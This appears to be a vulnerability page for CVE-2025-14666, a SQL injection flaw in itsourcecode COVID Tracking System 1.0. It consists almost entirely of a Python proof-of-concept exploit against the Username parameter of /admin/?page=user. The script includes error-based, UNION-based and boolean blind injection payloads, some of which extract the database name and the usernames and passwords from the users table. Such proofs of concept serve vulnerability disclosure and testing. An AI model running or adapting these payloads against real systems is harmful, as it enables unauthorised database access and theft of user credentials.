CVE-2025-14666 itsourcecode COVID Tracking System 1.0 SQL注入漏洞

# CVE-2025-14666 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Endpoint: /admin/?page=user # Parameter: Username import requests import sys target_url = "http://target-site.com/admin/?page=user" # Basic SQL Injection test - single quote to trigger error def test_basic_injection(): print("[*] Testing basic SQL injection...") payload = "'" data = {"Username": payload} response = requests.post(target_url, data=data) if "sql" in response.text.lower() or "error" in response.text.lower(): print("[+] SQL injection confirmed - error detected") return True return False # UNION-based injection to extract database info def union_injection(): print("[*] Performing UNION-based injection...") # Extract current database name payload = "' UNION SELECT NULL,database(),NULL,NULL,NULL-- -" data = {"Username": payload} response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Database name extracted") return response.text # Extract users table data def extract_users(): print("[*] Extracting user credentials...") payload = "' UNION SELECT NULL,username,password,NULL,NULL FROM users-- -" data = {"Username": payload} response = requests.post(target_url, data=data) return response.text # Boolean-based blind injection for data extraction def blind_injection(): print("[*] Performing blind SQL injection...") # Test if admin user exists payload = "' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0-- -" data = {"Username": payload} response = requests.post(target_url, data=data) if "success" in response.text.lower(): print("[+] Admin user exists in database") return response.text if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] print(f"[*] Target: {target_url}") test_basic_injection()